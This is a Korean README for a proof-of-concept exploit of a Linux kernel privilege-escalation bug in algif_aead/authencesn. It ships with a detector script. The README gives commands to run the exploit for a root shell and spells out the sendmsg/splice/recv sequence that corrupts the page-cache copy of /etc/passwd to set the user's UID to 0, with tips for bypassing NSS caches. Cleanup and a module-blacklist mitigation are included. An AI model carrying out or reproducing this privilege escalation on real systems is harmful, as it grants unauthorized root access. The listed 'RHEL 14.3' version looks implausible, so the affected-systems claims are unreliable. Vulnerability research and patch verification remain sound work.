
CVE_2026_31431용 익스플로잇 POC
Linux algif_aead /
authencesn 페이지 캐시 스크래치 쓰기 버그(2026-04-29 공개)에 대한
탐지기 및 개념 증명 LPE(로컬 권한 상승)입니다.
공개 분석 글: https://xint.io/blog/copy-fail-linux-distributions
소유한 호스트나 명시적으로 평가를 의뢰받은 호스트에서만 사용하십시오. 이 LPE는 메모리 내 상태(페이지 캐시)를 수정하지만, 이 기법은 실제 권한 상승입니다 — 승인 없이 시스템에서 실행하면 대부분의 관할권에서 불법입니다.
algif_aead는 AEAD 연산을 제자리(in-place)에서 수행합니다
(req->src == req->dst). 소스 데이터가 일반 파일에서 splice()를
통해 공급되면, 대상 scatterlist에는 파일의 페이지 캐시 페이지에 대한
참조가 포함됩니다 — 즉, 커널이 해당 페이지에 기록합니다. 그런 다음
authencesn(hmac(sha256), cbc(aes)) 알고리즘은 AAD의 seqno_lo
필드(sendmsg로 제공된 AAD의 4~7번째 바이트)에 대한 4바이트
"스크래치" 쓰기를 해당 대상에 수행하여 파일의 페이지 캐시 사본을
손상시킵니다.
디스크상의 파일은 절대 수정되지 않으므로 디스크 기반 서명이 없습니다.
손상은 페이지 캐시를 공유하는 읽기 프로세스에서만 관찰됩니다.
/etc/passwd와 /usr/bin/su는 모두 모든 사용자가 읽을 수 있으므로,
권한 없는 로컬 사용자가 실행 중인 커널이 보는 둘 중 하나를 손상시킬
수 있습니다.
영향 대상: 커밋 72548b093ee3(in-place AEAD, 2017)을 포함하지만
업스트림 롤백이 적용되지 않은 커널. 공개 시 Ubuntu 24.04 LTS, Amazon
Linux 2023, RHEL 14.3, SUSE 16에서 확인되었으며, 근본이 되는
프리미티브는 그 범위보다 이전부터 존재했습니다.
| File | Purpose |
|---|---|
test_cve_2026_31431.py | 비파괴 탐지기. 임시 디렉터리의 표지 파일을 대상으로 작동하며 시스템 바이너리에는 절대 접근하지 않습니다. |
exploit_cve_2026_31431.py | LPE. 실행 중인 사용자의 UID를 /etc/passwd의 페이지 캐시에서 0으로 바꾼 다음 su를 호출하여 루트 셸을 얻습니다. |
두 스크립트 모두 순수 Python 3.10+ 표준 라이브러리만 사용합니다.
# 1. Detect
python3 test_cve_2026_31431.py
# exit 0 = not vulnerable, 2 = vulnerable, 1 = test error
# 2. Exploit (interactive — su will prompt for your own password)
python3 exploit_cve_2026_31431.py --shell
python3 test_cve_2026_31431.py
동작 방식:
AF_ALG 및
authencesn(hmac(sha256),cbc(aes)) 알고리즘에 접근할 수 있는지
확인합니다.seqno_lo가 마커 PWND로 설정된 8바이트 AAD를 sendmsg+cmsg로
인라인 전송한 다음, os.splice()로 표지 파일의 페이지 캐시
페이지 32바이트를 AF_ALG op 소켓으로 보냅니다.recv()를 호출하여 복호화를 실행합니다. 인증 검사는 EBADMSG로
실패하지만, 스크래치 쓰기는 어쨌든 발생합니다.출력 분류:
Precondition not met — AF_ALG 또는 authencesn을 사용할 수
없음. 종료 코드 0.VULNERABLE to CVE-2026-31431 — 마커 PWND가 splice된 페이지에
기록됨. 종료 코드 2.Page cache MODIFIED via in-place AEAD splice path — 페이지에
쓰기는 발생했지만 마커가 예상 위치에 기록되지 않음. 취약한 것으로
간주. 종료 코드 2.Page cache intact — 패치됨. 종료 코드 0.탐지기는 /usr/bin/su, /etc/passwd 또는 생성한 임시 디렉터리 밖의
어떤 파일에도 절대 접근하지 않으며, 해당 파일은 종료 시 제거됩니다.
python3 exploit_cve_2026_31431.py # patch only, print next steps
python3 exploit_cve_2026_31431.py --shell # patch and exec `su <user>`
동작 방식:
/etc/passwd에서 찾아 4자리 UID
필드의 바이트 오프셋을 알아냅니다.write4를 한 번 수행하여 UID를 0000으로
교체합니다.pwd.getpwnam(user)를 호출하여 libc가 이제 UID 0을 보고하는지
확인합니다.--shell 사용 시 execvp("su", ["su", user])를 실행합니다.
자신의 비밀번호를 입력하세요. PAM은 /etc/shadow(변경되지 않음)를
기준으로 검증한 후 setuid(getpwnam(user).pw_uid)가 0으로
설정됩니다.write4를 그에 맞게 확장하세요./etc/passwd 읽기를 가리는 NSS 캐싱 데몬(nscd, sssd,
systemd-userdbd)이 없어야 합니다. 패치 후에도 getpwnam이 실제
UID를 반환한다면 캐시를 재시작하거나 우회하거나 다른 사용자를
선택하세요./etc/passwd 페이지가 패치와 su 실행 사이에 캐시에 남아 있어야
합니다. 실제로는 일반적인 메모리 압력이 있는 시스템에서 이는
안정적으로 유지됩니다.디스크상의 /etc/passwd는 변경되지 않습니다.
Dry-run(--shell 없는 exploit_cve_2026_31431.py)은 종료 시
POSIX_FADV_DONTNEED를 통해 손상된 페이지를 자동으로 캐시에서
제거하므로 UID→이름 조회가 즉시 정상으로 돌아갑니다.
--shell 이후에는 페이지를 직접 정리할 때까지 손상된 상태로 남아
있습니다. 손상된 동안 UID 1000 → 이름을 확인하는 모든 작업(예: ls,
파일 관리자, scp/sftp 소유권 검사)은 실패하거나 숫자 ID로 표시됩니다.
정리하려면:
# unprivileged - request page-cache eviction for /etc/passwd:
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"
# from the root shell:
echo 3 > /proc/sys/vm/drop_caches
재부팅해도 정리됩니다.
write4 작동 방식sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # EBADMSG; scratch write has already landed
AAD의 4~7번째 바이트(seqno_lo)는 authencesn에 의해 대상
scatterlist에 기록되며, 이 코드 경로에서 대상은 target_fd에서
splice한 페이지 캐시 페이지입니다. 페이지 내 기록 위치는 splice()에
전달한 offset_src에 해당합니다.
패치된 커널이 배포판에 도달할 때까지:
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null
적용 후 test_cve_2026_31431.py는 Precondition not met을 보고하고
종료 코드 0을 반환해야 합니다.
업스트림 수정은 in-place AEAD 연산을 out-of-place로 되돌려 페이지 캐시 페이지가 쓰기 가능한 scatterlist에 포함되지 않도록 합니다.